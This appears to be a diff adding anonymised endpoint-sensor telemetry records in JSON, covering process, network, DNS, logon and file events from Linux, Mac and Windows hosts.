+{"event_simpleName":"TerminateProcess","RawProcessId":"76482","ContextTimeStamp":"1625677510.959","ConfigStateHash":"1284133626","ContextProcessId":"130732827553316","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0010912.1","event_platform":"Lin","TargetProcessId":"130732827553316","Entitlements":"15","name":"TerminateProcessLinV2","id":"ffffffff-1111-11eb-97d0-02b2813216eb","EffectiveTransmissionClass":"2","aid":"ffffffffdd094539a02b394c69a70aaf","timestamp":"1625677511067","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ConfigBuild":"1007.4.0013701.1","event_simpleName":"FirewallEnabled","event_platform":"Mac","ConfigStateHash":"3090255842","Entitlements":"15","name":"FirewallEnabledMacV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-a9e6-067d21325a03","EffectiveTransmissionClass":"2","aid":"ffffffff70cf4070af024397f25007c7","timestamp":"1625677372544","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"FsVolumeUnmounted","VolumeName":"Install Google Drive","ContextTimeStamp":"1625677332.283","ConfigStateHash":"3090255842","aip":"67.43.156.14","VolumeMediaBSDName":"disk2s2","VolumeMountPoint":"/private/tmp/KSInstallAction.dn6J5Xa1M4/m","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"FsVolumeUnmountedMacV1","id":"ffffffff-1111-11eb-8fd9-06866dcbd3d5","EffectiveTransmissionClass":"2","aid":"ffffffffed984e248973f3ada1eb543d","timestamp":"1625677334451","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"}
+{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677474.525","ConfigStateHash":"2300098580","ConnectionFlags":"0","ContextProcessId":"328911864662804336","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"23165","Entitlements":"15","name":"NetworkListenIP4LinV5","id":"ffffffff-1111-11eb-88fd-06a17d0fdc05","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff2a0d484da8f7a9cf8bde7164","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677474879","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"ELFFileWritten","ContextTimeStamp":"1625677526.828","ConfigStateHash":"1620585913","ContextProcessId":"363122200934575406","Size":"38798952","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027","FileIdentifier":"040000010000000000000000000000006793f80200000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ELFFileWrittenMacV1","id":"ffffffff-1111-11eb-985c-02152dd35bc1","ELFSubType":"4","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677527114","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64/zoom_x86_64.nexe"}
+{"MajorVersion":"4","event_simpleName":"OsVersionInfo","OSVersionFileData":"4e414d453d22416d617a6f6e204c696e7578220a56455253494f4e3d2232220a49443d22616d7a6e220a49445f4c494b453d2263656e746f73207268656c206665646f7261220a56455253494f4e5f49443d2232220a5052455454595f4e414d453d22416d617a6f6e204c696e75782032220a414e53495f434f4c4f523d22303b3333220a4350455f4e414d453d226370653a322e333a6f3a616d617a6f6e3a616d617a6f6e5f6c696e75783a32220a484f4d455f55524c3d2268747470733a2f2f616d617a6f6e6c696e75782e636f6d2f220a","BootArgs":"BOOT_IMAGE\u003d/boot/vmlinuz-4.14.232-176.381.amzn2.x86_64 root\u003dUUID\u003d9f548782-8f9f-4dd9-873a-436ea8f3e8a6 ro console\u003dtty0 console\u003dttyS0,115200n8 net.ifnames\u003d0 biosdevname\u003d0 nvme_core.io_timeout\u003d4294967295 rd.emergency\u003dpoweroff rd.shell\u003d0","ConfigStateHash":"3712162471","AgentVersion":"6.19.11611.0","aip":"67.43.156.14","MinorVersion":"14","OSVersionString":"Linux localhost 4.14.232-176.381.amzn2.x86_64 #1 SMP Wed May 19 00:31:54 UTC 2021 x86_64","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"OsVersionInfoLinV4","RFMState":"1","id":"ffffffff-1111-11eb-93d4-0624c36f3a79","OSVersionFileName":"/etc/os-release","aid":"ffffffff2d1245c0a32d5efcf9351272","timestamp":"1625677383466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"CriticalFileModified","ContextTimeStamp":"1625677439.099","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"364849347227309005","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"04000001000000000000000000000000cdf3100100000000","ConfigBuild":"1007.4.0013701.1","UID":"0","USN":"89566685","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileModifiedMacV2","id":"ffffffff-1111-11eb-9262-0268ab613b49","EffectiveTransmissionClass":"2","aid":"ffffffff761b4a7d9962dd9e7e776044","timestamp":"1625677439398","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/user9.plist/"}
+{"event_simpleName":"NeighborListIP6","ConfigStateHash":"3090255842","NeighborList":"1C-AB-C0-9B-10-A2|2607:fea8:720:1bc8:1eab:c0ff:fe9b:10a2|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP6MacV1","id":"ffffffff-1111-11eb-ac8a-06b5e1186139","EffectiveTransmissionClass":"3","aid":"ffffffff01c7450180352a7c58a28fb4","timestamp":"1625677489786","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677382.785","UserName":"user3","ConfigStateHash":"1325353086","ContextProcessId":"364952259879648742","Size":"8052","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6","FileIdentifier":"04000001000000000000000000000000ef07570000000000","ConfigBuild":"1007.4.0013806.1","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"15","name":"NewScriptWrittenMacV3","id":"ffffffff-1111-11eb-9dc1-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffffcebd42c0890d59b54279d3d3","timestamp":"1625677383057","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/git/it_eng_scripts/depnotify_starter/dep_notify_starter.sh"}
+{"event_simpleName":"SystemCapacity","ConfigStateHash":"1620585913","aip":"67.43.156.13","CpuClockSpeed":"2400000000","PhysicalCoreCount":"8","CpuFeaturesMask":"7494065083908067","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LogicalCoreCount":"16","Entitlements":"15","name":"SystemCapacityMacV1","CpuVendor":"0","CpuProcessorName":"Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz","id":"ffffffff-1111-11eb-b714-066001392751","CpuSignature":"591597","EffectiveTransmissionClass":"3","aid":"fffffffff2c7432859ff6bbe1a0bd6af","ProcessorPackageCount":"1","MemoryTotal":"17179869184","timestamp":"1625677387216","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"FirmwareAnalysisStatus","ConfigStateHash":"3090255842","FirmwareAnalysisEclControlInterfaceVersion":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","FirmwareAnalysisEclConsumerInterfaceVersion":"0","BootTimeFunctionalityLevel":"255","ReasonOfFunctionalityLevel":"3","CurrentFunctionalityLevel":"2","Entitlements":"15","name":"FirmwareAnalysisStatusMacV2","id":"ffffffff-1111-11eb-ba57-0214a0d89bf7","EffectiveTransmissionClass":"0","aid":"ffffffff0d7b4d839912e55b4755e85b","timestamp":"1625677368429","cid":"ffffffff15754bcfb5f9152ec7ac90ac","PciAttachmentState":"65535"}
+{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.13","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"utun2","InDiscards":"0","InterfaceIndex":"17","event_platform":"Mac","InterfaceType":"1","id":"ffffffff-1111-11eb-a272-0294ad12fbe7","PhysicalAddressLength":"0","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677504544","LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"3090255842","PhysicalAddress":"","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressIP4MacV1","aid":"ffffffff557f4b99a0afdea9ce8cd6fa","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"CommandLine":"uname -a","ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","Entitlements":"15","GID":"0","ImageFileName":"/bin/uname","MD5HashData":"894356eb59e279696c304f07091b7fde","NDRoot":"321385814512398584","ParentProcessId":"321385814512398584","ProcessEndTime":"1604855099.126","ProcessGroupId":"0","ProcessStartTime":"1604855099.126","RGID":"0","RUID":"0","RawProcessId":"51342","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa","SVGID":"0","SVUID":"0","SessionProcessId":"314116638974342642","SourceProcessId":"321385814512398584","SourceThreadId":"0","TargetProcessId":"321385814512398605","UID":"0","aid":"ffffffff70d140ca9ba97f0dddd14137","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-ac87-06decddc17a1","name":"ProcessRollup2LinV5","timestamp":"1604855099681"}
+{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"317713210176499254","ContextThreadId":"0","ContextTimeStamp":"1604855096.730","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"28987","SHA256HashData":"6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"317713210176499254","aid":"ffffffff75fc48f15cfe5f095e605c4c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-809e-02fff4e55a49","name":"EndOfProcessMacV14","timestamp":"1604855099646"}
+{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"38188","ConHostProcessId":"3099352216141","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextData":"","ContextProcessId":"3100508103359","ContextThreadId":"93436292950223","ContextTimeStamp":"1604855097.926","CreateProcessCount":"0","CycleTime":"2937514388","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"1","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"2","GenericFileWrittenCount":"0","ImageSubsystem":"3","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"7500000","MaxThreadCount":"4","ModuleLoadCount":"38","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"3099350649383","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855096.463","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"33016","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"3100508103359","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-5-18","UserTime":"6406250","aid":"ffffffffb5db4b2e7ec89aba537adcc2","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"EndOfProcessV15","timestamp":"1604855099935"}
+{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","ContextProcessId":"311775981885093125","ContextThreadId":"0","ContextTimeStamp":"1604855101.341","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"10507","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"311775981885093125","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"EndOfProcessMacV12","timestamp":"1604855100139"}
+{"AuthenticationId":"999","CommandLine":"D:\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe --ps2","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume2\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe","ImageSubsystem":"3","IntegrityLevel":"16384","MD5HashData":"571391f723a439e985a2064337e2802a","ParentAuthenticationId":"999","ParentBaseFileName":"splunkd.exe","ParentProcessId":"17346335177","ProcessCreateFlags":"67634688","ProcessEndTime":"","ProcessParameterFlags":"24577","ProcessStartTime":"1604855099.406","ProcessSxsFlags":"64","RawProcessId":"6116","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720","SessionId":"0","SourceProcessId":"17346335177","SourceThreadId":"107650023406","Tags":"27, 151, 12094627905582, 12094627906234","TargetProcessId":"583707537390","TokenType":"1","UserSid":"S-1-5-18","WindowFlags":"384","aid":"ffffffff3a5a424fa02450da53619745","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-a09e-06f79d630255","name":"ProcessRollup2V17","timestamp":"1604855100030"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2784638081","ContextProcessId":"259090530891","ContextThreadId":"16409623709004","ContextTimeStamp":"1604855095.961","DnsRequestCount":"1","DomainName":"comp1.dom2","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff4f1444bab96568879cb43556","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DnsRequest","id":"ffffffff-1111-11eb-8077-0606f7dcf2ed","name":"DnsRequestV3","timestamp":"1604855099913"}
+{"ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","ContextProcessId":"321385820045701199","ContextThreadId":"0","ContextTimeStamp":"1604855101.645","Entitlements":"15","GID":"0","TargetFileName":"/etc/shadow","UID":"0","UnixMode":"32768","aid":"ffffffff32ba43a483e76c6f0a4aa26f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"CriticalFileAccessed","id":"ffffffff-1111-11eb-b70d-027f9ced2001","name":"CriticalFileAccessedLinV1","timestamp":"1604855102247"}
+{"CommandLine":"/usr/bin/plutil -convert xml1 -o - /Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","Entitlements":"15","GID":"0","ImageFileName":"/usr/bin/plutil","MD5HashData":"d51cef1b288e2032aee9805deff04bfd","MachOSubType":"1","ParentProcessId":"311774817965726568","ProcessEndTime":"","ProcessGroupId":"311774817965726568","ProcessStartTime":"1604855111.240","RGID":"0","RUID":"0","RawProcessId":"10692","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SVGID":"0","SVUID":"0","SourceProcessId":"311776004953765502","SourceThreadId":"0","Tags":"27, 12094627905582, 12094627906234","TargetProcessId":"311776004953765502","UID":"0","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"ProcessRollup2MacV3","timestamp":"1604855109180"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3899738370","ContextProcessId":"1546527409909","ContextThreadId":"4711690090889","ContextTimeStamp":"1604855114.133","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"501ee2c32e53fb43b07f419f3236fb45c29e000000002c00","FileObject":"18446655033844205120","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"88080484","ShareAccess":"1","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Windows\\Temp\\__PSScriptPolicyTest_dvkjnbka.apn.ps1","aid":"ffffffff8f1e4b77b4dae5debaa1c8bc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewScriptWritten","id":"ffffffff-1111-11eb-80b5-06e11a66e03d","name":"NewScriptWrittenV7","timestamp":"1604855114427"}
+{"ConfigBuild":"1007.4.0012205.1","ConfigStateHash":"1306766522","ConnectionDirection":"1","ConnectionFlags":"0","ContextProcessId":"321275232072440993","ContextTimeStamp":"1604855116.421","Entitlements":"15","InContext":"0","LocalAddressIP4":"0.0.0.0","LocalPort":"0","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"ffffffffd4094240a6b1d12aaf304f4f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-aca9-02683aed2a0d","name":"NetworkConnectIP4MacV5","timestamp":"1604855116502"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2602391615","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"223442259384","ContextTimeStamp":"1604855116.849","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"67.43.156.14","LocalPort":"53961","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"fffffffff000426eb99afaa2ccdcbc17","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-b0eb-06be7616c211","name":"NetworkConnectIP4V5","timestamp":"1604855116942"}
+{"AuthenticationId":"6580764513","AuthenticationPackage":"Negotiate","ClientComputerName":"-","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"816054990879","ContextThreadId":"52913017705957","ContextTimeStamp":"1604855091.781","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"NT AUTHORITY","LogonServer":"","LogonTime":"1604855091.781","LogonType":"9","PasswordLastSet":"","RemoteAccount":"1","UserFlags":"0","UserIsAdmin":"0","UserLogonFlags":"12","UserName":"SYSTEM","UserPrincipal":"user4@dom2","UserSid":"S-1-5-18","aid":"ffffffff8d2e4b4f9b21b40633a8d579","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogon","id":"ffffffff-1111-11eb-a8cf-0649c95cfa1d","name":"UserLogonV8","timestamp":"1604855121077"}
+{"AuthenticationId":"2007206396","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"4415814628770","ContextThreadId":"41392001729898","ContextTimeStamp":"1604855120.785","DiskParentDeviceInstanceId":"PCI\\VEN_1000\u0026DEV_0054\u0026SUBSYS_197615AD\u0026REV_01\\4\u00261f16fef7\u00260\u002600A8","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"b57cb59769dfe71180b4806e6f6e6963ea8902000000cb2c","FileObject":"18446708893089967904","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","IsTransactedFile":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","SHA256HashData":"d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182","Size":"6144","TargetFileName":"\\Device\\HarddiskVolume2\\Users\\user10\\AppData\\Local\\Temp\\ec1ijefl.dll","TokenType":"1","aid":"ffffffff2c47454cba360bc404a607bb","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PeFileWritten","id":"ffffffff-1111-11eb-b091-06f6cca0a049","name":"PeFileWrittenV14","timestamp":"1604855121109"}
+{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","timestamp":"1604855134461"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"537307300","ContextProcessId":"635780922149","ContextThreadId":"9479299143023","ContextTimeStamp":"1604855025.966","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"0e02a8c7ed9d244887cef0409af0e6190030000000001100","FileObject":"18446695174291796544","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"83886176","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Program Files\\Snow Software\\Inventory\\Agent\\cloudmeteringhost.exe","aid":"ffffffff425942f58382dbb11350eeda","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableWritten","id":"ffffffff-1111-11eb-93cb-067deb43537b","name":"NewExecutableWrittenV1","timestamp":"1604855149643"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"50714198593318","ContextThreadId":"194302491825207","ContextTimeStamp":"1604855150.066","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"59491","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffa51b4acf9dbc1fc273e6145c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"NetworkListenIP4V5","timestamp":"1604855150545"}
+{"ClientComputerName":"com1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"7073822473144","ContextThreadId":"48689911139327","ContextTimeStamp":"1604855152.993","EffectiveTransmissionClass":"2","Entitlements":"15","EtwRawProcessId":"744","EtwRawThreadId":"5304","LogonDomain":"BROADCAST","LogonType":"3","RemoteAddressIP4":"67.43.156.14","Status":"3221225581","SubStatus":"3221225578","UserName":"user5","aid":"ffffffffd8844a59acce5e1f4ad01888","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed2","id":"ffffffff-1111-11eb-a8aa-067029dffccb","name":"UserLogonFailed2V2","timestamp":"1604855154274"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextProcessId":"1838383212125","ContextThreadId":"27242382481217","ContextTimeStamp":"1604855151.534","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"b0754a8f86feffffb0754a8f86feffff09764a8f86feffff","FileObject":"18446636884348143072","IrpFlags":"1028","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Program Files\\WindowsApps\\Deleted\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699\\clrcompression.dll","aid":"ffffffff4a0946365161093453e596d4","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ExecutableDeleted","id":"ffffffff-1111-11eb-b23b-064dea059649","name":"ExecutableDeletedV3","timestamp":"1604855154670"}
+{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009202.1","ConfigStateHash":"230795414","ContextProcessId":"318137549555284836","ContextThreadId":"0","ContextTimeStamp":"1604855135.209","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"20195","SHA256HashData":"295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"318137549555284836","aid":"ffffffffcfe84e8c6a52c4001bd83761","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-ae31-065d76bec0c3","name":"EndOfProcessMacV11","timestamp":"1604855160047"}
+{"ApiReturnValue":"1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"683078218537","ContextTimeStamp":"1604855171.731","EffectiveTransmissionClass":"3","Entitlements":"15","EtwRawProcessId":"19400","EtwRawThreadId":"9384","aid":"ffffffff80984ea8b49d9a53f590c566","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RegisterRawInputDevicesEtw","id":"ffffffff-1111-11eb-a570-0685ba2a382f","name":"RegisterRawInputDevicesEtwV1","timestamp":"1604855173077"}
+{"CompletionEventId":"Event_ChannelDataDownloadCompleteV1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","DownloadPath":"metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys","DownloadPort":"443","DownloadServer":"lfodown01-b.cloudsink.net","EffectiveTransmissionClass":"0","Entitlements":"15","TargetFileName":"C-00000013-00000000-00000408.sys","aid":"ffffffffffc94c645268f64fc900213f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"LFODownloadConfirmation","id":"ffffffff-1111-11eb-8ab5-0643392fc75d","name":"LFODownloadConfirmationV1","timestamp":"1604855174018"}
